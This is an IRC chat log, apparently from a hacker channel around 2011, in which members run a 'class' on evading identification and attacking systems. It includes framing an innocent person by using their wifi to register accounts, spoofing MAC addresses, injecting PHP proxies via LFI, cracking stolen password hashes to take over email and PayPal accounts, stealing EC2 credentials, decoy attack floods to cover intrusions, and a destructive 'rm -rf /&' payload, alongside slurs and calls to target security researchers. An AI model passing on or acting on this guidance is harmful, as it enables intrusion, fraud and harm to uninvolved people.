[19:30:00] %StalluManu: Decide the poor fuck you want to screw over, in a town fucking remote from where you are.
[19:30:03] %StalluManu: Get on his wifi.
[19:30:07] %StalluManu: Make a new irc account under his IP.
[19:30:19] %StalluManu: Then just use a proxy for the rest of the time.
[19:30:30] %StalluManu: same for accounts on social shitworking sites.
[19:30:36] +darkspline: hahahaha
[19:30:42] +darkspline: mint
[19:31:13] %StalluManu: ok, so now you have all your fucking info offline. your shit spoofed, and your connection dns and ssl reasonably secure.
[19:31:18] +darkspline: i'm thinking of all my ex GF's ATM
[19:31:22] %StalluManu: you are behind over 9000 proxies.

[19:31:29] %StalluManu: darkspline: can be linked to you, dumbass.
[19:31:36] +srwx: also, specifically set the resolvers on your NIC to resolvers on a box that aren't monitoried
[19:31:37] Wearemudkipz (~Fire-Wolf@LulzCo-843DA4E1.cable.virginmedia.com) left IRC. (Read error: Connection reset by peer)
[19:31:45] +darkspline: StalluManu, if I do dirt its not <—
[19:31:51] Wearemudkipz (~Fire-Wolf@LulzCo-843DA4E1.cable.virginmedia.com) joined the channel.
[19:31:58] nonbit (~amnesia@LulzCo-46D1B5F.torproxy.org) joined the channel.
[19:32:01] %StalluManu: but: your computer has a fucking MAC adress too.
[19:32:06] %StalluManu: use changemac under linux to spoof it.
[19:32:08] +darkspline: you need local cable
[19:32:10] %StalluManu: windows: the fuck do i know.
[19:32:12] +srwx: ifconfig hwaddr
[19:32:19] +srwx: 😃
[19:32:25] +darkspline: and gotta track down where I planted the hacke modem+router
[19:32:53] %StalluManu: listen up fags.
[19:32:58] zaiger (~newfriend@OhIntehbutt.com) left IRC. (Ping timeout: 240 seconds)
[19:33:03] +darkspline: $500USD. I found enough 120V + unused cable plugs.
[19:33:04] %StalluManu: MAC adresses are not broadcast over proxies, they are broadcast TO proxies.
[19:33:22] %StalluManu: mac adresses are the lowest level of shit for sending internet packets, used within a lan.
[19:33:31] +darkspline: layer 2 yo
[19:33:32] %StalluManu: they also conveniently link to that new shiny fucking mobo you just bought.
[19:33:39] %StalluManu: darkspline: tru
[19:33:42] +srwx: burned in number
[19:33:46] +darkspline: StalluManu, only try 2 b
[19:33:47] +srwx: and always purchase hardware with cash
[19:33:51] +Anorov: MACs are only sent hop to hop
[19:34:02] +darkspline: local IP subnet
[19:34:02] +Anorov: generally you'll want to change your router's MAC, assuming you're behind one
[19:34:10] TR0|\| (~hereandth@LulzCo-22B8D0C7.dynamic.swissvpn.net) joined the channel.
[19:34:11] +srwx: that way they can't query the store register/log with the serial # of your mobo
[19:34:20] +Anorov: if you're fucking with a wireless network, yes change your MAC constantly
[19:34:21] +srwx: and link it to a credit card
[19:34:23] +darkspline: some protos use like some vpn's, they leak mac
[19:34:39] %StalluManu: ok, now that you've all changed your fucking mac adress.
[19:34:43] %StalluManu: you are now leaking less info!
[19:34:48] +darkspline: you can be in fucking china and track some shit across DHCP
[19:34:50] %StalluManu: now that you've nuked fucking all your profiles.
[19:34:56] +darkspline: StalluManu, sorry bro
[19:35:00] +darkspline: ☹
[19:35:06] @c0qsm3gma: (5:34:18 AM) Anorov: if you're fucking with a wireless network, yes change your MAC constantly
[19:35:10] %StalluManu: darkspline: vpns do leak.
[19:35:13] @c0qsm3gma: Anorov: my MAC changes from hop to hop
[19:35:15] +darkspline: StalluManu, i know!
[19:35:16] @c0qsm3gma: is that good enough?
[19:35:18] +eSDee: dhclient leaks version strings
[19:35:20] +eSDee: enjoy.
[19:35:21] %StalluManu: darkspline: but as a general rule, just change your MAC.
[19:35:25] +Anorov: er, what do you mean by hop to hop?
[19:35:26] drroop (~drroop@LulzCo-5E4C3B4D.seattle-06rh15rt.wa.dial-access.att.net) joined the channel.
[19:35:33] +darkspline: StalluManu, general rule is listen to your ass right now
[19:35:39] +darkspline: 😀
[19:35:41] %StalluManu: you->penis->penis->penis->server
[19:35:48] +darkspline: StalluManu, ROFL
[19:35:49] %StalluManu: your MAC Is leaked to the first penis.
[19:35:52] +Anorov: yep
[19:35:56] +Anorov: it is
[19:36:04] +darkspline: and thats how you get dicked hard
[19:36:05] %StalluManu: if its you->penis->server like on a VPN, you are fucked.
[19:36:09] +Anorov: and if you're behind a router
[19:36:11] +darkspline: StalluManu, i'm shutting up now
[19:36:21] +Anorov: your computer->wireless router->ISP router
[19:36:23] +srwx: hopping through dicks
[19:36:24] %StalluManu: so just as a general rule, change your fucking mac.
[19:36:37] %StalluManu: that should give you an idea of what to look out for.
[19:36:43] %StalluManu: there's much more info that you could leak.
[19:36:50] %StalluManu: but just dont talk about your IRL shit anywhere.
[19:36:54] +eSDee: don't be retarded and pick something obviously spoofed
[19:36:54] %StalluManu: you dont EXIST IRL.
[19:36:58] %StalluManu: you ONLY EXIST ON THE INTERNET.
[19:36:59] +eSDee: like multicast mac addresses
[19:37:02] +Anorov: yep
[19:37:03] +eSDee: check the OUI table
[19:37:09] +srwx: ^
[19:37:20] @c0qsm3gma: Anorov: you don't seem the smart type

[19:37:26] Fox sets mode +v imposter22
[19:37:27] @c0qsm3gma: how did you got this far?
[19:37:34] @c0qsm3gma: s/got/get
[19:37:36] +Anorov: c0q in what way, because i'm asking what you mean by hop?
[19:37:40] +Anorov: if by hop you mean network hop
[19:37:44] +Anorov: of course it changes hop to hop
[19:37:50] +srwx: http://standards.ieee.org/develop/regauth/oui/oui.txt
[19:37:52] +Anorov: i don't know if you're talking about like wireless hopping or whatever
[19:37:57] @c0qsm3gma: no
[19:38:00] @c0qsm3gma: i mean network hop
[19:38:02] +Anorov: well duh
[19:38:07] +Anorov: i just said that above, lol
[19:38:09] @c0qsm3gma: my MAC address changes every hop
[19:38:12] +Anorov: correct
[19:38:14] +Anorov: it's layer 2
[19:38:15] ~Fox: Is class over?
[19:38:18] %StalluManu: no.
[19:38:22] ~Fox: cause you niggas are just bouncing topics
[19:38:23] @c0qsm3gma: so should i still change it ?
[19:38:25] +darkspline: Fox, please not sir
[19:38:31] +Anorov: <+Anorov> MACs are only sent hop to hop
[19:38:35] %StalluManu: stfu people.
[19:38:38] ~Fox: StalluManu get it under control.
[19:38:40] @c0qsm3gma: (5:34:18 AM) Anorov: if you're fucking with a wireless network, yes change your MAC constantly
[19:38:41] ~Fox: Plzkthx
[19:38:42] %StalluManu: JUST CHANGE YOUR FUQQIN MAC TO SOMETHING SENSIBLE AND BE DONE WITH IT
[19:38:44] +darkspline: layer 2 <-> layer 3
[19:38:47] %StalluManu: STFU
[19:38:47] @c0qsm3gma: yeah StalluManu
[19:38:53] +Anorov: yes because people on the local network could be tracking your laptop you're using to wardrive, c0q
[19:38:56] %StalluManu: STFU
[19:38:56] @c0qsm3gma: put this bitch in place
[19:38:56] %StalluManu: STFU
[19:38:57] %StalluManu: STFU
[19:38:58] %StalluManu: STFU
[19:38:58] %StalluManu: STFU
[19:38:59] LordKitsuna sets mode -v Anorov
[19:38:59] %StalluManu: STFU
[19:39:00] %StalluManu: STFU
[19:39:05] %StalluManu: thank you.
[19:39:08] @c0qsm3gma: tracking my laptop?
[19:39:08] @c0qsm3gma: wtf
[19:39:16] @c0qsm3gma: how would they find me
[19:39:22] @c0qsm3gma: knowing the MAC
[19:39:27] Fox kicked Anorov from the channel. (Shut the fuck up)
[19:39:27] Anorov (~an@no.peeps.4.creeps) joined the channel.
[19:39:30] ~Fox: move along.
[19:39:32] %LordKitsuna: if i could take voice from c0qsm3gma i would but hes op
[19:39:40] Fox kicked LordKitsuna from the channel. (stfu)
[19:39:46] ~Fox: move… along.
[19:39:54] %StalluManu: Ok, now that you are hopefully leaking less fucking info, have protected yourself from IRL shit against your crypto and virtual shit. you should be reasonably untracable.
[19:39:54] LordKitsuna (~LordKitsu@LulzCo-6D93A8BD.hsd1.wa.comcast.net) joined the channel.
[19:39:54] ChanServ sets mode +h LordKitsuna
[19:40:05] +srwx: http://samy.pl/mapxss/ like this
[19:40:12] Fox kicked srwx from the channel. (stfu)
[19:40:29] %StalluManu: I'd like to refer to the training page to train with lfi, try to inject a PHP proxy into the site
[19:40:31] ea5ystar (~whiteh8@LulzCo-C098333B.formlessnetworking.net) joined the channel.
[19:40:37] +eSDee: find a dialup isp in korea, buy a 33k6 modem and call forward to your local pizza parlor as the 1st hop
[19:40:39] %StalluManu: that's how you generally accuire http proxies.
[19:40:41] +eSDee: lol
[19:40:50] +eSDee: s/to/from/
[19:41:14] Fox kicked eSDee from the channel. (I'm going to keep kicking till voices shut the fuck up and let people talk.)
[19:41:17] %StalluManu: this has the added benefit of you not getting pakkit because you pissed me off.
[19:41:46] %StalluManu: now, you think you're secure eh?
[19:41:49] %StalluManu: but how the fuck would you know?
[19:42:02] %StalluManu: maybe that uber 31337 blackhat just pwned u in ur sleep.
[19:42:07] %StalluManu: tough shit.
[19:42:13] %StalluManu: this is why you use a intrusion detection system.
[19:42:17] %StalluManu: yeah kids, it's a fucking pain.
[19:42:26] %StalluManu: i personally prefer tripwire, with the hashes on another sd card.
[19:42:38] %StalluManu: this lets you check if important shit was changed.

[19:42:44] SamiR (~samiri@3535BAFB.92687D0B.6BCC1855.IP) joined the channel.
[19:42:48] %LordKitsuna: StalluManu, there are both hardware and software IDS's right?
[19:42:52] %StalluManu: true.
[19:42:55] eSDee (~harhar@LulzCo-6C4BAAB9.bu.edu) joined the channel.
[19:42:56] %StalluManu: can't trust teh hardware.
[19:43:11] Fox sets mode +v eSDee
[19:43:19] %StalluManu: ok, as a rule of thumb, if you are on wifi, you want to log all the packets.
[19:43:27] %StalluManu: but your sd card does not haz the space.
[19:43:33] whiteh8 (~whiteh8@457983EB.FF3F5C6F.ED3D20FE.IP) left IRC. (Ping timeout: 240 seconds)
[19:43:50] %StalluManu: mount a tmpfs somewhere, tcmpdump log to there, and set up a bash script that megauplods and forwards to a mail via a (fast) proxy.
[19:44:05] %StalluManu: voilla, packet logging for niggers.
[19:44:24] %StalluManu: since you hopefully encrypted your shit like i told you too, you wont be publishing shit you dont want to.
[19:44:29] %StalluManu: *to
[19:44:38] %StalluManu: if you didn't, well, tough fucking luck.
[19:44:44] @c0qsm3gma: StalluManu: are you like, the teacher of hacker science?
[19:44:59] %StalluManu: no, i'm a leet skript kiddie.
[19:45:12] %StalluManu: so, you have a packet log, and a ids in place.
[19:45:16] %StalluManu: preferably more than one.
[19:45:22] %StalluManu: when shit hits the fan, you pull the plug.
[19:45:25] %StalluManu: no exceptions.
[19:45:39] %StalluManu: you get your computer off the network asap, by shutting it down or pulling the cord.
[19:45:57] %StalluManu: chances are you are backdoored now, use tripwire.
[19:46:19] @c0qsm3gma: lol @ tripwire
[19:46:23] %StalluManu: as an extra measure: have hashes of system files on your encrypted partition in your initrd, and hashes of your initrd in your encrypted partition.
[19:46:34] %StalluManu: use a script to check 'em dubs.
[19:46:55] %StalluManu: that way when someone dicks with your initrd but not your encrypted partition (feds having your disk) you know.
[19:47:04] %StalluManu: and when someone dicks with your root but not your /boot you know
[19:47:12] %StalluManu: but omg, cant you change /boot?
[19:47:15] Meghan (~barney@5B1910D6.C3EAD205.7547DCD8.IP) left IRC. (Ping timeout: 240 seconds)
[19:47:15] %StalluManu: yeah, you can.
[19:47:21] %StalluManu: here's a simple technique to prevent that shit from happening.
[19:47:25] %StalluManu: make /boot ext2.
[19:47:29] %StalluManu: remove ext2 from the kernel.
[19:47:34] mnmezz (~mnmezz@LulzCo-FECF7F64.torservers.net) left IRC. (Ping timeout: 240 seconds)
[19:47:35] %StalluManu: disable dynamic module loading.
[19:47:42] %StalluManu: (monolithic kernel)
[19:47:49] imposter22 (~imposter2@9E450AF4.1F24E4E4.13FC21DA.IP) left IRC. (Remote host closed the connection)
[19:47:59] %StalluManu: disallow access to the /boot device.
[19:48:02] %LordKitsuna: wait… wouldnt making boot a format you remove support for make your oc shit bricks?
[19:48:09] %LordKitsuna: *pc
[19:48:11] %StalluManu: no.
[19:48:12] debbieGIBSON (~user@6162320B.38FB56C.E7114913.IP) left IRC. (Quit: debbieGIBSON)
[19:48:16] imposter22 (~imposter2@2310E577.8E384C6C.DD213F82.IP) joined the channel.
[19:48:17] %StalluManu: your boot loader loads your initrd and kernel.
[19:48:20] %StalluManu: those are on /boot.
[19:48:32] %StalluManu: so even root cannot fucking change the boot dir.
[19:48:42] %StalluManu: this is a pain because you'd have to use a livecd to change kernels.
[19:48:44] %StalluManu: but it's worth it.
[19:49:13] %StalluManu: ok, so you've detected a trojan. it hasn't dicked with every ids you have in place.
[19:49:20] %StalluManu: re-emerge the infected package.
[19:49:31] %StalluManu: or: copy over from a backup.
[19:49:37] %StalluManu: (preferably the 1st option)
[19:49:47] %StalluManu: do a offline package install, your distro has a wiki that tells you how 2.
[19:49:56] @c0qsm3gma: StalluManu: i have no initrd on my linux
[19:50:00] @c0qsm3gma: is that bad?
[19:50:06] FireStarter_ (~FireStart@FFD843C6.43EC8202.233EC0FF.IP) joined the channel.
[19:50:09] %StalluManu: you cant truecrypt a whole partition without a initrd.
[19:50:19] %StalluManu: initrd=initial ram disk for the lusers here.
[19:50:27] %StalluManu: google initrd arch wiki or gentoo wiki for more info.
[19:50:30] FireStarter (~FireStart@LulzCo-C098333B.formlessnetworking.net) left IRC. (Ping timeout: 240 seconds)
[19:50:46] lululu (cackledack@BE33FEAC.7EEC6A54.934538AF.IP) left the channel.
[19:50:51] %StalluManu: ok, so now you can hopefully recover after a compromise, or at least notice it when it happens.
[19:50:54] %StalluManu: you got pwned by a 0day? wat do
[19:50:58] %StalluManu: well you got a cool packet log.
[19:51:12] %StalluManu: chances are, the hacker has hidden his shit well, like you should've done.
[19:51:25] %StalluManu: but no worries, you can dissect the packet log, figure out the 0day and use it to pwn more servers!

[19:51:39] %StalluManu: just don't be an ass and make it public.
[19:51:49] %StalluManu: 'cause you don't know who you are messing with at this point.
[19:52:08] @c0qsm3gma: StalluManu: i have initrd on my linux
[19:52:10] %StalluManu: in fact, dont be an ass and make exploits public at all.
[19:52:10] @c0qsm3gma: is that bad?
[19:52:11] %StalluManu: fuck whitehats.
[19:52:41] @c0qsm3gma: word
[19:52:41] %StalluManu: more disclosure only promotes more skiddies.
[19:52:43] @c0qsm3gma: i concur to that
[19:52:50] %StalluManu: google antisec for more info.
[19:52:52] @c0qsm3gma: this is the part of your lecture that i love most
[19:52:57] @c0qsm3gma: no
[19:52:57] @c0qsm3gma: fuck antisec
[19:52:59] +tminus: Which antisec
[19:53:03] ~Fox: Perdon.
[19:53:07] @c0qsm3gma: antisec took a name of what was started ages ago
[19:53:09] ~Fox: Class.
[19:53:17] ~Fox: We have a mantra here for you new students.
[19:53:21] %StalluManu: i know. but you need a fucking intro
[19:53:24] @c0qsm3gma: pr0j3kt m4yh3m/~el8/PHC
[19:53:27] ~Fox: I'm going to -m for a second just to show you guys.
[19:53:28] @c0qsm3gma: that's the intro u got
[19:53:33] %StalluManu: ya.
[19:53:33] Fox sets mode -m
[19:53:37] ~Fox: What do we say about whitehats?
[19:53:42] SamiR: thnx for -m
[19:53:42] halcyon: It's a beautiful day in the neighborhood
[19:53:42] @c0qsm3gma: i don't think anyone is caching anti.security.is anymore
[19:53:44] %StalluManu: ok, google pr0j3kt m4yh3m.
[19:53:44] Onions: TrueCrypt should not be used on Linux. Cryptsetup/LUKS is better.
[19:53:45] s4: fuck them?
[19:53:45] @c0qsm3gma: fuck the whitehats!@$
[19:53:48] Onions: MUCH BETTER LOOK INTO IT
[19:53:54] ~Fox: What do we say about whitehats?
[19:53:55] Onions: THE ENCRYPTION SCHEME IS MORE SECURE
[19:53:55] nyann: FUCK WHITEHATS
[19:53:56] %StalluManu: c0qs3gma they are.
[19:53:56] nyann: FUCK WHITEHATS
[19:53:58] drop: ain't no party like a whitehat party?
[19:53:59] nyann: FUCK WHITEHATS
[19:53:59] ~Fox: FUCK WHITEHATS.
[19:54:05] Fox kicked drop from the channel. (FUCK WHITEHATS.)
[19:54:05] SamiR: yea
[19:54:07] ~Fox: WHITE HATE.
[19:54:10] noneya1238: fuck you whity
[19:54:14] ~Fox: WHITE. HATE.
[19:54:15] ElwoodBlues: FUCK WHIEHATS?
[19:54:16] SamiR: white fuck hates
[19:54:18] ElwoodBlues: ?!
[19:54:20] Fox sets mode +m
[19:54:22] drop (~drop@LulzCo-2DC94304.members.linode.com) joined the channel.
[19:54:24] %StalluManu: fuck whitehats up the arse, dry without lube.
[19:54:24] ~Fox: Exactly kids.
[19:54:28] ~Fox: Whitehats aren't your friend.
[19:54:32] ~Fox: Whitehats are the enemy.
[19:54:37] @c0qsm3gma: whitehats are food
[19:54:38] ~Fox: Destroy all whitehats.
[19:54:42] %StalluManu: Whitehats hack for money.
[19:54:43] @c0qsm3gma: invite them into your oven
[19:54:47] @c0qsm3gma: and if they don't want
[19:54:48] %StalluManu: Money will make them narc on you.
[19:54:51] @c0qsm3gma: coherce them
[19:54:59] %StalluManu: whitehats are not to be trusted.
[19:55:30] %StalluManu: And narcs deserve pizzas, erryday allday.
[19:55:38] %StalluManu: support manning.
[19:55:51] %StalluManu: anyways, back to security.
[19:56:02] %StalluManu: ok, so you're now hidden, your shit is encrypted, and hopefully the fbi is not at your doorstep.
[19:56:19] %StalluManu: you've read up about the legal system and kept your fucking mouth shut at various encounters till your lawyer told you to speak.
[19:56:28] %StalluManu: you've got your own proxies & botnet.
[19:56:41] %StalluManu: congrats, you've graduated from luser to skiddie.
[19:56:43] chkkit (~chkkit@LulzCo-986927A0.blutmagie.de) joined the channel.
[19:57:06] %StalluManu: to learn how to actually do cool stuff, you have to learn how to write your exploits.
[19:57:15] %StalluManu: to learn how to write your own exploits, you have to learn how to code, really fucking well.
[19:57:22] %StalluManu: you either make a great coder, or you dont.
[19:57:31] %StalluManu: unless you started coding when you were 9, chances are you dont.

[19:57:36] %StalluManu: in that case, you'll stay a skiddie.
[19:57:44] @c0qsm3gma: damn
[19:57:49] @c0qsm3gma: i started coding at 12
[19:57:53] @c0qsm3gma: is that bad?
[19:57:55] %StalluManu: 12 is fine too.
[19:57:59] +eSDee: don't worry, in practice i'd say most exploit coders make very shitty devs
[19:58:00] @c0qsm3gma: does that mean i will never be a hacker?
[19:58:10] @c0qsm3gma: shitty devs, yeah, that's me
[19:58:11] %StalluManu: eSDee: true.
[19:58:15] @c0qsm3gma: but i also write shitty exploits
[19:58:23] @c0qsm3gma: i heard a lot about exploits
[19:58:29] %StalluManu: omg so leet.
[19:58:42] +eSDee: lets do a strcpy()-fu class
[19:58:46] %StalluManu: ok, you can google artices for bufferoverflows/etc read old phrack.
[19:58:51] %StalluManu: good idea.
[19:58:58] %StalluManu: formatstring.
[19:59:06] @c0qsm3gma: old phrack?
[19:59:09] @c0qsm3gma: why not new phrack?
[19:59:15] %StalluManu: new phrack is shit phrack
[19:59:32] +eSDee: i proposed this earlier: main(int lol, char **lolol) <% printf(0[lolol]); %>
[19:59:33] %StalluManu: in fact, there ain't even many new phrack mags out there.
[19:59:39] +eSDee: lets do eet
[19:59:40] %StalluManu: since the editors got fucking lazy.
[19:59:45] @c0qsm3gma: lol StalluManu
[19:59:49] @c0qsm3gma: why is it shit?
[19:59:53] %LordKitsuna: StalluManu, we have talked about buffer overflows before but i didnt really feel like it was exsplained exactly what that is or how it kills shit maybe you can touch up on that?
[20:00:04] %StalluManu: LordKitsuna: not now.
[20:00:15] %LordKitsuna: k
[20:00:27] %StalluManu: If you lern about exploits, and how stuff works, you'll realize that your box ain't secured for shit.
[20:00:39] %StalluManu: Or hopefully that it's pretty decent as long as you don't do X or Y.
[20:00:47] @c0qsm3gma: StalluManu: why is phrack shit
[20:00:52] @c0qsm3gma: i always thought phrack was shit
[20:00:58] %StalluManu: because it's for homosexuals.
[20:01:01] @c0qsm3gma: eversince aleph1 killed the b0f concept
[20:01:03] %StalluManu: and because it releases shit.
[20:01:05] +darkspline: c0qsm3gma, 1990
[20:01:06] +darkspline: s
[20:01:09] @c0qsm3gma: no
[20:01:15] @c0qsm3gma: 1998 or something
[20:01:20] @c0qsm3gma: b0f wasn't really known
[20:01:31] @c0qsm3gma: altho people been exploiting that for a decade
[20:01:44] ~Fox: I have to poop
[20:01:46] nociuduis (~nociuduis@LulzCo-A75755D4.ph.ph.cox.net) left IRC.
[20:01:46] ~Fox: brb.
[20:01:46] +darkspline: that shits now so, StalluManu
[20:01:58] %StalluManu: ok.
[20:02:08] @c0qsm3gma: StalluManu: the thing is, you can't really say why phrack is shit
[20:02:11] %StalluManu: say you know something about exploiting shit.
[20:02:12] @c0qsm3gma: i hate phrack
[20:02:21] %StalluManu: we all hate phrack.
[20:02:24] @c0qsm3gma: because it hurt the hacking so bad u wouldn't imagine
[20:02:39] %StalluManu: also, i wasnt around in 1998, i was around in ~2001.
[20:03:05] %StalluManu: and i was a skiddie back then lulz.
[20:03:10] @c0qsm3gma: Phrack High Council / ~el8 for lyfe
[20:03:12] %StalluManu: everyone starts out a skiddie!
[20:03:16] @c0qsm3gma: are you a coder now?
[20:03:19] @c0qsm3gma: no, i didn't
[20:03:23] @c0qsm3gma: i started as a vx-er
[20:03:40] +eSDee: your compootah is now st0ned yo
[20:03:43] %StalluManu: first thing i found was a lousy xss lulz.
[20:04:03] %StalluManu: ok, say you know how to exploit shit.
[20:04:04] @c0qsm3gma: word eSDee
[20:04:09] %StalluManu: which you dont, cause you are in here
[20:04:10] @c0qsm3gma: lol StalluManu
[20:04:15] ef2s (~ef2s@LulzCo-879302C5.torservers.net) joined the channel.
[20:04:18] @c0qsm3gma: xss was in 2004-2005
[20:04:20] @c0qsm3gma: def not in 2001
[20:04:22] @c0qsm3gma:
[20:04:24] +eSDee: i like how we're all teaching the feds here how we would hide stuff
[20:04:30] +eSDee: just sayin
[20:04:44] %StalluManu: everyone done spamming?
[20:05:06] %LordKitsuna: c0qsm3gma, i don't mean to be rude but the constant commentary is starting to get annoying. can we please try to keep talking to questions or adding to the lesson
[20:05:11] %StalluManu: ok, now you know how to exploit shit, you are going to find password hashes from sites that don't have too shitty security.
[20:05:20] +darkspline: StalluManu, …

[20:05:20] @c0qsm3gma: LordKitsuna: you are being rude
[20:05:31] %StalluManu: those hashes need to be reverted to a password.
[20:05:32] @c0qsm3gma: eSDee: yeah, that's ridiculous
[20:05:32] +darkspline: StalluManu, i'm in here for my own reasons"></script>
[20:05:47] @c0qsm3gma: this place is monitored
[20:05:57] @c0qsm3gma: yet, you guys discuss how to hide
[20:05:58] @garrett: ur monitored
[20:05:59] @garrett: ur monitored
[20:06:00] @garrett: ur monitored
[20:06:01] %StalluManu: you WILL encounter shit that uses algorithms that have no existing crackers for it.
[20:06:04] @c0qsm3gma: does anyone else smell the irony
[20:06:08] +darkspline: StalluManu, i can't do anythint about it
[20:06:11] @c0qsm3gma: garrett: yeah, since i joined here i am
[20:06:18] @garrett: stop hacking me bro
[20:06:19] @garrett: pls
[20:06:25] %StalluManu: now, since you now have a basic fucking understanding of how to code.
[20:06:31] %StalluManu: you can hopefully write c.
[20:06:38] %StalluManu: good. openCL is like c, but for graphics cards.
[20:06:43] @c0qsm3gma: can you write c?
[20:06:47] %StalluManu: graphics cards are good at doing the same thing with different values over and over.
[20:07:04] %StalluManu: also called single instruction multiple memory source instructions
[20:07:10] %StalluManu: like sse/mmx, but way moar cores.
[20:07:25] %StalluManu: also lern sse assembly, its cool stuff.
[20:07:44] %StalluManu: you search for an already optimized algorithm of the hashing function used.
[20:07:47] ~Fox: .
[20:07:51] %StalluManu: if you dont, you can probably guess the hashing function by the bitcount.
[20:07:57] Dox (~Dox@5F79AFBD.97573542.B0212E7C.IP) left IRC. (Remote host closed the connection)
[20:08:01] %StalluManu: if you cant find one, as a shit coder you are shit out of luck.
[20:08:19] %StalluManu: otherwise: paste/edit it a bit, move the c code for it straight to the gpu, and read some optimisation articles.
[20:08:23] %StalluManu: chances are this will take a week or two.
[20:08:36] %StalluManu: and i mean a week or two of 18 hour days.
[20:08:43] %StalluManu: especially the first time you do it.
[20:09:00] %StalluManu: with a gpu you can compute an fucking insane amounth of hashes a second.
[20:09:27] %StalluManu: use this to bruteforce passwords, see if passwords are reused, use them on their mails/paypals, cash in.
[20:09:42] %StalluManu: bruteforcing resources: blog.distracted.nl www.cryptohaze.com
[20:09:47] %StalluManu: also google oclhashcat
[20:10:19] %StalluManu: exporting crypto crackers from the US of assraping is considered high treason, punishable by death.
[20:10:26] @c0qsm3gma: why are we discussing the video card?
[20:10:35] %StalluManu: because you're acting liek a tard.
[20:10:45] %StalluManu: btw, this is gpu/sse2.
[20:10:50] %StalluManu: sse2 is fine too.
[20:10:52] Dox (~Dox@5F79AFBD.97573542.B0212E7C.IP) joined the channel.
[20:11:08] %StalluManu: speaking of which.
[20:11:11] %StalluManu: if you write shit in sse2.
[20:11:16] %StalluManu: you can interlace 2 sse2 paths, and one mmx path.
[20:11:27] %StalluManu: it'll cost you one instruction per 6 operations.
[20:12:02] %StalluManu: i dunno if iamrite, been ages.
[20:12:06] heyguise (canti@B6ECF76C.D4425F23.2D22B11F.IP) left the channel.
[20:12:06] heyguise (canti@B6ECF76C.D4425F23.2D22B11F.IP) joined the channel.
[20:12:20] %StalluManu: anyways, you can interlace 2* sse2 and mmx, use it.
[20:12:41] %StalluManu: now you have a pretty fast br00tforcer, you might want to find sites with similar hashes pwn those and continue on.
[20:12:52] eSDee (~harhar@LulzCo-6C4BAAB9.bu.edu) left IRC. (Quit: bla)
[20:12:53] %StalluManu: just like 0day.
[20:13:10] %StalluManu: find 0day for one strategic target, hit it, then exploit a few lower key ones as well.
[20:13:33] @c0qsm3gma: StalluManu: let's discuss ethical payloads
[20:13:40] @c0qsm3gma: such as rm -rf /&
[20:13:42] %StalluManu: ethical payloads.. lulz.
[20:13:46] @c0qsm3gma: and much 1337er variants
[20:13:51] @c0qsm3gma: yes!
[20:14:04] %StalluManu: ethics.. you can screw anyone, as long as you use your internet condom.
[20:14:16] %StalluManu: but producing maximum lulz is always important.
[20:14:20] lighthouse (~shadow@LulzCo-10001504.tampabay.res.rr.com) left IRC. (Ping timeout: 240 seconds)
[20:14:31] @c0qsm3gma: this is the reason why we joined the innerwebs, isn't it?
[20:14:51] %StalluManu: pick targets that will whinge and cry about it, pick targets that get their unearned whiteluser reputation ruined (hi there aaronbarr!, mittnick.)
[20:14:58] %StalluManu: mostly pick on whitehats.
[20:15:12] %StalluManu: because you wont piss anyone off but one person.
[20:15:39] @c0qsm3gma: ☹
[20:15:52] ~Fox: WHITEHATE.
[20:15:54] ~Fox: 2011.

[20:15:54] @c0qsm3gma: mitnick has been owned moar times than.. i dunno.. the most owned place in the universe?
[20:15:56] @c0qsm3gma: what is that?
[20:16:06] @c0qsm3gma: yeah.. 10 years of whiteh8
[20:16:08] %StalluManu: mitnick=mantrain
[20:16:32] %StalluManu: oh, now that you've actually owned shit
[20:16:38] %StalluManu: you might want to shut the fuck up about it
[20:16:43] %StalluManu: it's cute to drop sql vulnerable urls.
[20:16:46] Fox sets mode +v TR0|\|
[20:17:11] SamiR (~samiri@3535BAFB.92687D0B.6BCC1855.IP) left IRC. (Quit: I was never here!)
[20:17:11] %StalluManu: it's not cute to drop exploits or show off your e-peen.
[20:17:31] +darkspline: StalluManu, unless you don't plan on using them…
[20:17:32] %StalluManu: because that makes you an easy target.
[20:17:38] %StalluManu: darkspline: ofc.
[20:17:41] +TR0|\|: StalluManu – any comment on grabbing someones EC2 credentials and using them to run hashes on a cluster of GPU instances at randoms expense ?
[20:17:44] +darkspline:
[20:18:11] %StalluManu: TR0: you will find that bitweasil's cracker is excellent for that;)
[20:18:21] %StalluManu: amazon cloud is shit for bruteforcing tough.
[20:18:25] ~Fox: StalluManu
[20:18:27] %StalluManu: way too expensive if you dont steal someones acc.
[20:18:30] %StalluManu: yeah?
[20:18:36] ~Fox: A lovely pro-tip
[20:18:40] +TR0|\|: lol i never said shit about paying
[20:18:56] ~Fox: Remember what hatter said about alarms?
[20:19:05] ~Fox: If you cant go in silent, trip as many as possible?
[20:19:06] %StalluManu: yup.
[20:19:19] @c0qsm3gma: lol
[20:19:21] +darkspline: i like
[20:19:21] @c0qsm3gma: that's true
[20:19:26] ~Fox: ProTip: If you are comping a box and want to hide your tracks, post the URL
[20:19:33] +darkspline: now i'm thinking about all the alarms i tripped…
[20:19:33] ~Fox: Do your dirt with a thousand other people trying to get in
[20:19:41] ~Fox: Security via obscurity.
[20:19:45] %StalluManu: Fox: i have a better idea.
[20:19:53] %StalluManu: Everyone hopefully knows how to wget with a tor proxy.
[20:20:01] +darkspline: Fox, offensive obscurification (sp)
[20:20:03] %StalluManu: tor with thousands of requests looks like a botnet.
[20:20:08] ~Fox: There are a million better ideas, just a tip :3
[20:20:26] %StalluManu: use a bash script, wget over a proxy with shellcode, sql, anything you can throw at the server.
[20:20:28] +darkspline: Fox, always a better way..
[20:20:34] tzaki (~shinji@LulzCo-912C65A8.know.cable.virginmedia.com) left IRC. (Quit: Leaving)
[20:20:37] %StalluManu: name it "tripfuckingeverything" or something.
[20:20:42] %StalluManu: sysadmin will think it's a botnet attacking.
[20:20:51] %StalluManu: you do your dirt while he fights the 'botnet'
[20:20:57] %StalluManu: worked b4.
[20:21:05] ~Fox: Truth.
[20:21:21] +TR0|\|: StalluManu should we point out the benefits of a paid vpn over tor or a free vpn/proxy?
[20:21:28] %LordKitsuna: StalluManu, wouldnt a plan like that present the off chance that that admin just takes everything offline while its delt with?
[20:21:34] drop (~drop@LulzCo-2DC94304.members.linode.com) left IRC. (Quit: No Carrier)
[20:21:44] ~Fox: TR0|\|. shhh.
[20:21:48] ~Fox: Been covered before.
[20:22:09] ~Fox: Fuck Tor has been covered so many goddamn times I can't even define to you.
[20:22:17] ~Fox: StalluManu go go go.
[20:22:19] %StalluManu: TR0: as long as you pay with someone else's account it's all fine.
[20:22:29] %StalluManu: oh. another point
[20:22:34] %StalluManu: if you go carding, or buying accounts.
